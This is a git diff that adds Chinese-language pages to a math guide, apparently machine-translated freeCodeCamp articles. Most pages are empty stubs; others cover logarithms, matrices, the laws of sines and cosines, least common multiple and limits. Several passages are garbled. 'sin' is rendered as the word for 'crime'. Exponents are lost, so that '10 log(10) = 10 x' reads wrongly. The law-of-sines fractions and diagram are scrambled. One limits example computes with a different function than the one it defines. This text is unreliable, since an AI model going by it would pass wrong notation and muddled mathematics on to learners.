+数字**x**的对数，写入_log（ **x** ）_ ，通常表示您必须使用的数字超过10来获得**x** 。假设您想找到_log（10）_ 。这意味着你想要找到你需要筹码10到10的数字。这给了我们一个等式： _log（10）= x_ 。
+
+我们可以使用它并将其作为双方10的幂。这将等式更改为： _10 log（10） = 10 x_
+
+_10 log（ **x** ）_ ，其中**x**是任意数字，将返回**x** ，因为_10 log_取消。这意味着我们的等式现在 _10 = 10 x_
+
+鉴于_10 x_本身等于10倍_x_次，这意味着10需要与自身相乘足够的时间恰好为10，因此_x_为1.这是因为 _10 1 = 10_
+
+### 自然对数的定义
+
+除了使用的数字之外，这与对数的定义完全相同。在正常对数中，基数通常为10，自然对数中的数字（通常写为_ln_ ）使用_e_ ，euler的数字作为基数。这意味着 _ln（e）= 1_ ，而不是_log（10）= 1_ 。 因此，我们正在找到将_e_提升到_ln（ **x** ）_所需的功率。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-long-division-of-polynomials/index.md b/client/src/guide/chinese/mathematics/intro-to-long-division-of-polynomials/index.md
new file mode 100644
index 0000000000..c5c7929d85
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-long-division-of-polynomials/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Long Division of Polynomials
+localeTitle: 多项式长除法简介
+---
+## 多项式长除法简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-long-division-of-polynomials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-matrices/index.md b/client/src/guide/chinese/mathematics/intro-to-matrices/index.md
new file mode 100644
index 0000000000..173ebd9ee2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-matrices/index.md
@@ -0,0 +1,23 @@
+---
+title: Intro to Matrices
+localeTitle: 矩阵介绍
+---
+## 矩阵介绍
+
+矩阵由2D阵列组成，或者更好，由矩形阵列组成。下面你可以看到它的组织方式。
+
+![替代文字](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bb/Matrix.svg/494px-Matrix.svg.png)
+
+它由行和列组成。因此，如果你想要下面矩阵的数字7，你需要在posicion（2,3），第二行，第三列上获得元素。
+
+![替代文字](https://wikimedia.org/api/rest_v1/media/math/render/svg/55375914df4213b621f22cb1e5a0d6eb09af29df)
+
+通常的操作适用于矩阵，但是对相同位置的元素进行加法和减法（因此两个矩阵需要具有相同的大小）。乘法是不同的，因此矩阵A x矩阵B，A需要具有相同的B转置大小。
+
+转置是矩阵的行和列的操作。
+
+![替代文字](https://wikimedia.org/api/rest_v1/media/math/render/svg/51f6dba024e104b412ed0562163ca9a11fcb9463)
+
+#### 更多信息：
+
+[维基百科](https://en.wikipedia.org/wiki/Matrix_(mathematics))
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-matrix-multiplication/index.md b/client/src/guide/chinese/mathematics/intro-to-matrix-multiplication/index.md
new file mode 100644
index 0000000000..4df55a914c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Matrix Multiplication
+localeTitle: 矩阵乘法简介
+---
+## 矩阵乘法简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-matrix-multiplication/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-partial-fraction-expansion/index.md b/client/src/guide/chinese/mathematics/intro-to-partial-fraction-expansion/index.md
new file mode 100644
index 0000000000..8da319bf19
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-partial-fraction-expansion/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Partial Fraction Expansion
+localeTitle: 部分分数扩展简介
+---
+## 部分分数扩展简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-partial-fraction-expansion/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-point-slope-form/index.md b/client/src/guide/chinese/mathematics/intro-to-point-slope-form/index.md
new file mode 100644
index 0000000000..cb4eaec7b6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Point Slope Form
+localeTitle: 点坡形式简介
+---
+## 点坡形式简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-point-slope-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-polynomial-synthetic-division/index.md b/client/src/guide/chinese/mathematics/intro-to-polynomial-synthetic-division/index.md
new file mode 100644
index 0000000000..704da01c48
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-polynomial-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Polynomial Synthetic Division
+localeTitle: 多项式综合分部介绍
+---
+## 多项式综合分部介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-polynomial-synthetic-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-rational-and-irrational-numbers/index.md b/client/src/guide/chinese/mathematics/intro-to-rational-and-irrational-numbers/index.md
new file mode 100644
index 0000000000..1b79a325c1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-rational-and-irrational-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Rational and Irrational Numbers
+localeTitle: 理性和非理性数字的介绍
+---
+## 理性和非理性数字的介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-rational-and-irrational-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-slope-intercept-form/index.md b/client/src/guide/chinese/mathematics/intro-to-slope-intercept-form/index.md
new file mode 100644
index 0000000000..d3301c6b67
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Slope Intercept Form
+localeTitle: 斜坡拦截形式简介
+---
+## 斜坡拦截形式简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-slope-intercept-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-the-binomial-theorem/index.md b/client/src/guide/chinese/mathematics/intro-to-the-binomial-theorem/index.md
new file mode 100644
index 0000000000..36111d4747
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-the-binomial-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Binomial Theorem
+localeTitle: 二项式定理的介绍
+---
+## 二项式定理的介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-binomial-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/intro-to-the-trigonometric-ratios/index.md b/client/src/guide/chinese/mathematics/intro-to-the-trigonometric-ratios/index.md
new file mode 100644
index 0000000000..f2ba311bbe
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/intro-to-the-trigonometric-ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Trigonometric Ratios
+localeTitle: 三角比率介绍
+---
+## 三角比率介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-trigonometric-ratios/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/introduction-to-derivatives/index.md b/client/src/guide/chinese/mathematics/introduction-to-derivatives/index.md
new file mode 100644
index 0000000000..7b0c146e98
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/introduction-to-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Derivatives
+localeTitle: 衍生物简介
+---
+## 衍生物简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-derivatives/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md b/client/src/guide/chinese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
new file mode 100644
index 0000000000..8fbb4a95b1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Eigenvalues and Eigenvectors
+localeTitle: 特征值和特征向量介绍
+---
+## 特征值和特征向量介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/introduction-to-logarithms/index.md b/client/src/guide/chinese/mathematics/introduction-to-logarithms/index.md
new file mode 100644
index 0000000000..65068e777b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/introduction-to-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Logarithms
+localeTitle: 对数简介
+---
+## 对数简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-logarithms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/introduction-to-partial-derivatives/index.md b/client/src/guide/chinese/mathematics/introduction-to-partial-derivatives/index.md
new file mode 100644
index 0000000000..9baf463648
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/introduction-to-partial-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Partial Derivatives
+localeTitle: 部分衍生物简介
+---
+## 部分衍生物简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-partial-derivatives/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/introduction-to-trigonometric-substitution/index.md b/client/src/guide/chinese/mathematics/introduction-to-trigonometric-substitution/index.md
new file mode 100644
index 0000000000..d1e2fe4892
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/introduction-to-trigonometric-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Trigonometric Substitution
+localeTitle: 三角替代介绍
+---
+## 三角替代介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-trigonometric-substitution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inverse-functions/index.md b/client/src/guide/chinese/mathematics/inverse-functions/index.md
new file mode 100644
index 0000000000..d5fdb9010d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inverse-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Functions
+localeTitle: 反函数
+---
+## 反函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md b/client/src/guide/chinese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
new file mode 100644
index 0000000000..5ee87a8133
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse of a Matrix Using Minors Cofactors and Adjugate
+localeTitle: 使用Minors辅因子和Adjugate逆矩阵
+---
+## 使用Minors辅因子和Adjugate逆矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inverse-sine-cosine-tangent/index.md b/client/src/guide/chinese/mathematics/inverse-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..5054ae5534
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inverse-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Sine Cosine Tangent
+localeTitle: 反正弦余弦切线
+---
+## 反正弦余弦切线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-sine-cosine-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inverse-tangent/index.md b/client/src/guide/chinese/mathematics/inverse-tangent/index.md
new file mode 100644
index 0000000000..62c9ba29a9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inverse-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Tangent
+localeTitle: 反正切
+---
+## 反正切
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md b/client/src/guide/chinese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
new file mode 100644
index 0000000000..283616c356
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverting a 3 by 3 Matrix Using Determinants
+localeTitle: 使用行列式反转3乘3矩阵
+---
+## 使用行列式反转3乘3矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/irrational-numbers/index.md b/client/src/guide/chinese/mathematics/irrational-numbers/index.md
new file mode 100644
index 0000000000..b5f55b18ea
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/irrational-numbers/index.md
@@ -0,0 +1,7 @@
+---
+title: Irrational Numbers
+localeTitle: 非理性数字
+---
+## 非理性数字
+
+无理数是一个不能在十进制表格上完整写入的数字。一个流行的例子是数字_Pi_ ，因为它不能完全写入。有无穷多的小数，因此它是不合理的。 对于数字_e_和2的平方根也是如此。它们不能被写下来，因为它们具有无限小数位数，因此它们是不合理的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/isosceles-triangle/index.md b/client/src/guide/chinese/mathematics/isosceles-triangle/index.md
new file mode 100644
index 0000000000..44ccaf5f9f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/isosceles-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Isosceles Triangle
+localeTitle: 等腰三角形
+---
+## 等腰三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/isosceles-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/laplace-transform/index.md b/client/src/guide/chinese/mathematics/laplace-transform/index.md
new file mode 100644
index 0000000000..31c7f286df
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/laplace-transform/index.md
@@ -0,0 +1,11 @@
+---
+title: Laplace Transform
+localeTitle: 拉普拉斯变换
+---
+## 拉普拉斯变换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laplace-transform/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/law-of-cosines/index.md b/client/src/guide/chinese/mathematics/law-of-cosines/index.md
new file mode 100644
index 0000000000..a068634e16
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/law-of-cosines/index.md
@@ -0,0 +1,21 @@
+---
+title: Law of Cosines
+localeTitle: 余弦定律
+---
+## 余弦定律
+
+当给定两边的长度及其夹角（SAS）或三边（SSS）的长度时，余弦定律可用于找到非直角三角形的边缘或角度。 余弦定律指出： ![](http://hyperphysics.phy-astr.gsu.edu/hbase/imgmth/lcos.gif)
+
+这看起来与毕达哥拉斯定理非常相似，如果C是90度（一个正确的三角形），表达式实际上简化为毕达哥拉斯Thoerem。因此，毕达哥拉斯定理是余弦定律的一个特例。
+
+您也可以使用A或B切换角度C，但请确保将相应的一侧（c）更改为a或b。
+
+![](http://www.mathwarehouse.com/trigonometry/images/law-of-cosines/law-of-cosines-formula-and-picture2.png)
+
+例如：
+
+![](http://www.mathwarehouse.com/sheets/trigonometry/advanced/law-of-sines-and-cosines/images/picture-of-law-of-cosines.png)
+
+#### 更多信息：
+
+https://www.varsitytutors.com/hotmath/hotmath\_help/topics/law-of-cosines http://mathworld.wolfram.com/LawofCosines.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/law-of-sines/index.md b/client/src/guide/chinese/mathematics/law-of-sines/index.md
new file mode 100644
index 0000000000..e749fe25f7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/law-of-sines/index.md
@@ -0,0 +1,32 @@
+---
+title: Law of Sines
+localeTitle: 正弦定律
+---
+## 正弦定律
+
+“正弦法”简单地指出：
+
+罪（A）罪（B） ------ = ------ 一个b
+
+其中“A”和“B”是角度测量值，“a”和“b”是它们相应的边长 这个定律与三角形一起使用，当已知两个角度和一个边长时，这里是一个例子： b
+
+* * *
+
+\\ 75 / \\ / \\ 6 \\ / \\ / \\ \\ 30 / \\ /
+
+在这个问题中，除了“b”之外，一切都被定义了，因此，我们可以使用正弦定律来找到它。对于这个问题，我会的 将相应的角度和边称为“A”和“a”：
+
+罪（A）罪（B）罪（75）罪（30） ------ = ------ ===> ------- = ------- a b 6 b
+
+为了评估Sines，我使用了一个计算器。我可以将等式的两边相乘，其评估为：
+```
+6 * Sin(30) 
+```
+
+b = ----------- 罪（75）
+
+哪个出来了
+
+b = 3.106
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/laws-of-exponents/index.md b/client/src/guide/chinese/mathematics/laws-of-exponents/index.md
new file mode 100644
index 0000000000..afb8ea6250
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/laws-of-exponents/index.md
@@ -0,0 +1,11 @@
+---
+title: Laws of Exponents
+localeTitle: 指数的规律
+---
+## 指数的规律
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laws-of-exponents/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/least-common-denominator/index.md b/client/src/guide/chinese/mathematics/least-common-denominator/index.md
new file mode 100644
index 0000000000..ffccdae195
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/least-common-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Denominator
+localeTitle: 最小共同点
+---
+## 最小共同点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/least-common-denominator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/least-common-multiple/index.md b/client/src/guide/chinese/mathematics/least-common-multiple/index.md
new file mode 100644
index 0000000000..007a03731b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/least-common-multiple/index.md
@@ -0,0 +1,28 @@
+---
+title: Least Common Multiple
+localeTitle: 最不常见的多重
+---
+## 最不常见的多重
+
+两个或更多个数的最小公倍数（LCM）是最小数（不计0），它是所有数的倍数。  
+公倍数是两个或更多个数的倍数。 4和5的常见倍数是0,20,40 ......  
+两个数的最小公倍数（LCM）是两者的倍数的最小数（非零）。  
+4：0,4,8,12,16,20,24,28,32,36,40,44的倍数......  
+倍数为5：0,5,10,15,20,25,30,35,40,45,50,55 ......  
+
+显然，4和5的最小公倍数是20。
+
+### 让我们学习如何计算最小公倍数
+
+#### 第1步：列出每个数字的所有素数因子
+
+例如，考虑数字30和40。  
+30 = 2 x 3 x 5  
+40 = 2 x 2 x 2 x 5  
+
+#### 步骤2：将每个因子乘以任一数字中出现的最大次数。如果在两个数字中同一因子出现多次，则将该因子乘以它发生的最大次数。  
+
+2：3的出现  
+出现3：1的情况  
+出现5：1的情况  
+LCM（30,40）= 2×2×2×3×5 = 120
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/lhopitals-rule/index.md b/client/src/guide/chinese/mathematics/lhopitals-rule/index.md
new file mode 100644
index 0000000000..798f9430ae
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/lhopitals-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Lhopitals Rule
+localeTitle: Lhopitals规则
+---
+## Lhopitals规则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/lhopitals-rule/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/limits-and-continuity/index.md b/client/src/guide/chinese/mathematics/limits-and-continuity/index.md
new file mode 100644
index 0000000000..8d672464cf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/limits-and-continuity/index.md
@@ -0,0 +1,11 @@
+---
+title: Limits and Continuity
+localeTitle: 限制和连续性
+---
+## 限制和连续性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/limits-and-continuity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/limits-intro/index.md b/client/src/guide/chinese/mathematics/limits-intro/index.md
new file mode 100644
index 0000000000..d1c918f7da
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/limits-intro/index.md
@@ -0,0 +1,115 @@
+---
+title: Limits Intro
+localeTitle: 限制简介
+---
+## 范围
+
+要说函数f（x）的极限意味着通过使x足够接近但不等于p，可以使f（x）尽可能接近L。
+
+#### 例
+
+设f（x）= x。然后f（x）的极限x倾向于1等于1.也就是说，当你走x，0，然后是0.01，然后是0.1，然后是0.5，并通过所有的值时，函数的值x轴上的值越来越接近1，该函数f（x）= x的值将倾向于1.波纹，函数的图形。
+
+![图f（x）= x](https://ocw.mit.edu/ans7870/18/18.013a/textbook/HTML/chapter01/images/identity.gif)
+
+当一个人说f（x）非常接近L，但没有“触摸”它时，意味着它们的距离非常小，同样，x倾向于a，但不等于a，意味着x距离很小从一个。为此，使用绝对值的定义。
+
+| f（x） - L | <ε，| x - a | <δ
+
+符号，epsilon和delta分别代表任意小的数字。
+
+![限制](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfLimit_files/image001.gif)
+
+上图说明如下：对于您可能选择的任何小ε> 0（ε），可以在L +ε和L-ε之间绘制条带，即黄色区域或水平条带。然后，在选择了epsilon之后，有一个δ> 0（delta），可以确定，它允许你绘制一个垂直条带，就像上图中的粉红色区域，粉红色区域，在+δ之间和a - δ。现在，如果你在粉红色区域中取任何x，即a，那么这个x将比a +δ和a-δ更接近a。要么，
+
+| x - a | <δ
+
+如果您现在确定图表上您选择的x给出的点，那么图表上的这一点将位于粉红色和黄色区域的交点。这意味着该函数值f（x）将比L +ε和L +ε更接近于L.要么，
+
+| f（x） - L | <ε
+
+因此，如果在粉红色区域中取x的任何值，则x的那些值的图形将位于黄色区域中。
+
+好吧，想象以下情况：您和您的朋友将使用地图进行令人兴奋的旅行。你会开车，你的朋友会为你处理地图。现在，对于你朋友给你读的地图中的每英寸，如果你愿意的话，车会移动，假设，2公里或1.24英里。请注意，尽管我们使用的是单位，但只是为了理解它，我们可以将“你的函数”写成：
+
+f（英寸）= 2km
+
+所以，如果你的朋友在地图上看了2英寸，你就会移动4公里。你们两个现在累了，决定休息，但你和你的朋友一样聪明，你们两个都在想：
+
+*   嘿，如果我倾向于为你读书，从地图上看，接下来的10英寸，我们累了，不得不时不时地休息，所以我不会读到整整十英寸，但我相信我会尽可能接近，你认为我们会旅行多少？
+
+你可以这样思考：
+
+*   我知道你读的每英寸，我开车2公里！所以，如果你倾向于阅读10英寸......嗯...我们可能会尽可能接近20公里！不完全是20，但我们会非常接近。
+
+这是一种说明这个概念的方法，假设你走在图上，函数是你的“规则”，x是“你要走多远”，f（x）是你实际行走的值，给出你得到的规则。
+
+#### 属性
+
+考虑到函数的限制存在，然后：
+
+*   **和**
+
+![限额总和](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0004MP.gif)
+
+总和的限制是限制的总和。
+
+令f（x）等于x，f（x）= x并且g（x）= 2x。设x倾向于1.限制：
+
+lim（f（x）+ g（x））= lim f（x）+ lim g（x）= lim x + lim 2x = 1 + 2 = 3
+
+或者lim（x + 2x）= lim（3x）= 3
+
+*   **产品**
+
+![限制的产物](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0005MP.gif)
+
+产品的限制是限制的产物。
+
+考虑前一个例子中的相同函数，f（x）= x和g（x）= 2x。现在，使x趋于2。
+
+lim（f（x）\* g（x））= lim f（x）\* lim g（x）= 2 \* 4 = 8
+
+或lim（x \* 2x）= lim（2x ^ 2）= 2 \* 4 = 8
+
+*   **产品不变**
+
+![产品不变](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0003MP.gif)
+
+您可以将倍增常数“限制”出限制。
+
+再次假设f（x）= x。限制，现在x趋于5：
+
+lim（10 \* x）= 10 lim（x）= 50
+
+lim（10x）= 50
+
+*   **师**
+
+![限制划分](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0006MP.gif)
+
+划分的限制是限制的划分。
+
+设f（x）= 2x且g（x）= x + 1.确保您所遵循的函数不为零。使x趋于2，你有：
+
+lim（2x / x）= lim 2x / lim x = 4/2 = 2
+
+或lim（2x / 2）= lim 2 = 2.这是一个常数函数，因此无论你在x轴上行走多少，该值总是趋向于一个特定值。
+
+*   **功率**
+
+![限制的力量](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0007MP.gif)
+
+如果n是整数。
+
+设f（x）等于x + 1，让x趋于2.假设以下限制：
+
+lim \[（x + 1）\] ^ 2 =（3）^ 2 = 9
+
+lim \[（x + 1）\] ^ 2 = lim（x ^ 2 + 2x + 1）= 9（注意你也可以使用sum属性！）
+
+#### 更多信息：
+
+[注释和进一步的例子](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties.aspx)
+
+[简介限制讲座](https://www.khanacademy.org/math/ap-calculus-ab/ab-limits-continuity/ab-limits-graphically/v/introduction-to-limits-hd)
